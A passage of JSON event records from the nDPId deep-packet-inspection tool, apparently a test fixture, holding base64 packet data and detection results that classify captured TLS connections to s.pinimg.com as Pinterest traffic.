mluZm+CCnBpbmltZy5jb22CEXBpbnRlcmVzdG1haWwuY29tggxwaW50ZXJlc3QuZGWCDHBpbnRlcmVzdC5ka4IMcGludGVyZXN0LmllggxwaW50ZXJlc3QuanCCDHBpbnRlcmVzdC5rcoIMcGludGVyZXN0Lm14ggxwaW50ZXJlc3QucHSCDHBpbnRlcmVzdC5zZYIMcGludGVyZXN0LmF0ggxwaW50ZXJlc3QuY2iCD3BpbnRlcmVzdC5jby5hdIISKi5waW50ZXJlc3QuY29tLnV5gg9waW50ZXJlc3QuY28ua3KCD3BpbnRlcmVzdC5jby51a4ISKi5waW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLm14ghEqLnBpbnRlcmVzdC5jby5ueoIPcGludGVyZXN0LmNvLm56ghBwaW50ZXJlc3QuY29tLnBlghBwaW50ZXJlc3QuY29tLnV5ghEqLnBpbnRlcmVzdC5jby5pboIQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAg=="} +02331{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229998,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdKO8UE\/DRQiKgBgLMHvFAAABAQgKwrkiG9ZiICowADCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABc1XlLKoAAAQDAEYwRAIgRaKv8aGxAlWYWbVHO27QuYaMVjkla1sqJ9KYUXrictoCIGZLCw9wt4OYbNbjf38Sd0HcVnjDAvQiSaQp0SpzApBKAHUAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzVeUs2gAABAMARjBEAiAuDr91sHLHbeq6ULmtTdDSNqnLoTLlcYe7\/kPCy2gn4QIgA+cib48hqVMfgDRA7rfZqbp5jNTNYzXGXOFA2AkCmT0wDQYJKoZIhvcNAQELBQADggEBABGiFYAkFnu8UzB05yYuu6ORpPiRus9re\/ZboVIXptvL0pkUrcvgfZi2w16yu5GxgOd3lO3AU5Kt\/ZpKFFCZxh9BN0EmZMVIOWL3InBaoMAPWM5FvBFhZR3ZzzTQgAomjhPGPc\/Ym2irB3KsHSFm9PXsfz\/uUho1KBgS5\/dxVaPUlW0FzOPQ352X1K5D48AsZ8gSLatYycUWqitEioqj+tbkxKSmohhxE9FIu2mZwKLfa5Jwerk4r+kkfHZWeU64M8ryNPfHAumKj4tuY9ExBO7Y4e2x3QcattWNF+nxQ0vhygeFbqK9scET+ozh8sLxcKZ6BJWetov0hn7Yza\/HLf0ABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovLw=="} +00439{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230027,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDob5ABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrsYAAAAAUAQAADK8AAA="} +00440{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230049,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBmcdABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFCIoAAAAAUAQAAI36AAA="} +00440{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230062,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBmcdABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFCIoAAAAAUAQAAI36AAA="} +02330{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230363,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWchkTQ554Sa7GgBgLMLffAAABAQgKwrkiHdZiICowADCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABc1XlLKoAAAQDAEYwRAIgRaKv8aGxAlWYWbVHO27QuYaMVjkla1sqJ9KYUXrictoCIGZLCw9wt4OYbNbjf38Sd0HcVnjDAvQiSaQp0SpzApBKAHUAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzVeUs2gAABAMARjBEAiAuDr91sHLHbeq6ULmtTdDSNqnLoTLlcYe7\/kPCy2gn4QIgA+cib48hqVMfgDRA7rfZqbp5jNTNYzXGXOFA2AkCmT0wDQYJKoZIhvcNAQELBQADggEBABGiFYAkFnu8UzB05yYuu6ORpPiRus9re\/ZboVIXptvL0pkUrcvgfZi2w16yu5GxgOd3lO3AU5Kt\/ZpKFFCZxh9BN0EmZMVIOWL3InBaoMAPWM5FvBFhZR3ZzzTQgAomjhPGPc\/Ym2irB3KsHSFm9PXsfz\/uUho1KBgS5\/dxVaPUlW0FzOPQ352X1K5D48AsZ8gSLatYycUWqitEioqj+tbkxKSmohhxE9FIu2mZwKLfa5Jwerk4r+kkfHZWeU64M8ryNPfHAumKj4tuY9ExBO7Y4e2x3QcattWNF+nxQ0vhygeFbqK9scET+ozh8sLxcKZ6BJWetov0hn7Yza\/HLf0ABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovLw=="} +02024{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230365,"pkt_caplen":1244,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1244,"pkt_l4_len":1190,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABKYGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdKO8VbvDRQiKgBgLMFz0AAABAQgKwrkiG9ZiICp3d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMDcxMTQ0NTJaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQBCEMxaOGM0GLpuhDcnQSm4AAGA8yMDIwMTEwNzExNDQ1MlqgERgPMjAyMDExMTQxMDU5NTJaMA0GCSqGSIb3DQEBCwUAA4IBAQCImBufb295Au2ju2lBCnSUKecQwVg9gkN6+y60LAZnbHKZEtr+Lda+UXfoK+l1YxaCqc9JLrsr4yUrVuWDwRxH0toRCTmGGUR1HNlQU5BSRgxjgPVigRozTEGDyIG2vw3NYmRMnZjbfP1UrZzwnVZzj5IoQyLzbQpl32Lbbr\/bdDDEwFgQMUn5Amod0fxMXoc8DZjVCIsQLbr0ZulxdcJ15CaK\/qvh8pChLhnvH1n\/AwOhcIVlVBpT9V0l7u\/uP1rrFrxi8PCEFwKJscSV3vQwFCEg2HYfT4kSA5rWhfeVL8L7H9ouqSE+9QM1pVNOcBI21XL+i4YVwGNzOS8NUvBEFgMDASwMAAEoAwAdIM6xY4EUf+N68doyKzciTinkENyLRRVXR3AK7RGRs6hcCAQBAK6v2S5UrRUrpqqGS8yz+K8TInrcc22icuiXRtrNHBK7kkw0IfB99x7fvKX2FEkHJ31Jb1k+WSs57YUpyWiIAqE\/X+mYagDcAO13sXX2\/xmgguL82rveFxQV5AWSjbcyBifnm1MeUWy7bF3N\/BPWf3MH4HtLJEKjaH0vKLbHQtzW39X7vKVPbFE8B4191SQUKrxz8\/aQmkBEX3Qi2OpQLPSB0zLn5mnU2NVIQjOyqngHqU3emPxTjjt2Oxx20lVYe8rlsZBqxgtFIjxYnEFeS5qYyi9Tt+VNdKz\/00sm5NkKrNc43bVZObqdp448\/O9rWgaUsbIHhcr5RpzPCctd7lUWAwMABA4AAAA="} +02662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":149,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":13,"flow_first_seen":1605289714142,"flow_last_seen":1605289714230,"flow_tot_l4_data_len":6235,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":479,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38516,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +02023{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230365,"pkt_caplen":1244,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1244,"pkt_l4_len":1190,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABKYGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWchkTSQp4Sa7GgBgLMO1EAAABAQgKwrkiHdZiICp3d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMDcxMTQ0NTJaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQBCEMxaOGM0GLpuhDcnQSm4AAGA8yMDIwMTEwNzExNDQ1MlqgERgPMjAyMDExMTQxMDU5NTJaMA0GCSqGSIb3DQEBCwUAA4IBAQCImBufb295Au2ju2lBCnSUKecQwVg9gkN6+y60LAZnbHKZEtr+Lda+UXfoK+l1YxaCqc9JLrsr4yUrVuWDwRxH0toRCTmGGUR1HNlQU5BSRgxjgPVigRozTEGDyIG2vw3NYmRMnZjbfP1UrZzwnVZzj5IoQyLzbQpl32Lbbr\/bdDDEwFgQMUn5Amod0fxMXoc8DZjVCIsQLbr0ZulxdcJ15CaK\/qvh8pChLhnvH1n\/AwOhcIVlVBpT9V0l7u\/uP1rrFrxi8PCEFwKJscSV3vQwFCEg2HYfT4kSA5rWhfeVL8L7H9ouqSE+9QM1pVNOcBI21XL+i4YVwGNzOS8NUvBEFgMDASwMAAEoAwAdIBLi37iYvi5OTWYsWD08HRp6kdLC7GxkkOSMnrrfIo4XCAQBAJE8yujmfQ\/Six40NhA+mIBBuFRwZVp79fXDY4XMSDCGfGPklM+BLgYb4vpuBbRC5x9\/A4pYg9avMQSypWzNTGH6rjXbTYwKi3iWYJ0Fpus9v\/2kJjRvQQkg4L\/vF6soD2oDVd2nAnmE9Ph0ZQvqEdI18wbroMFvgSStQBFQ9f7otRgpbhF0zoR3RsPXGbIwrCqicWV4DkUW8doN1+caM3qMNAfPxF\/5KGgy7lYKpceKhc0A3xN2aIvmucOJaxois5JUjHLwQHjZUfSrAKVPNva2S8Iouv7D1QaAy78tiRxEv+2PlzJioeVBKTovMNiFqKco2BEkZL0M0rvZVlc18+gWAwMABA4AAAA="} +02662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":150,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":11,"flow_first_seen":1605289714142,"flow_last_seen":1605289714230,"flow_tot_l4_data_len":6195,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":563,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38514,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +02321{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230366,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWeOms5zqKAxVrgBgLMMyJAAABAQgKwrkiHdZiICsWAwMAUgIAAE4DA7Q2KSgtYMYaL8rZLqH6WArth+i9EdO62kCph9I2L6cqAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56ggxwaW50ZXJlc3QubnqCDHBpbnRlcmVzdC5lY4IMcGludGVyZXN0Lmh1ggxwaW50ZXJlc3QuY2GCDHBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3QubmyCDHBpbnRlcmVzdC5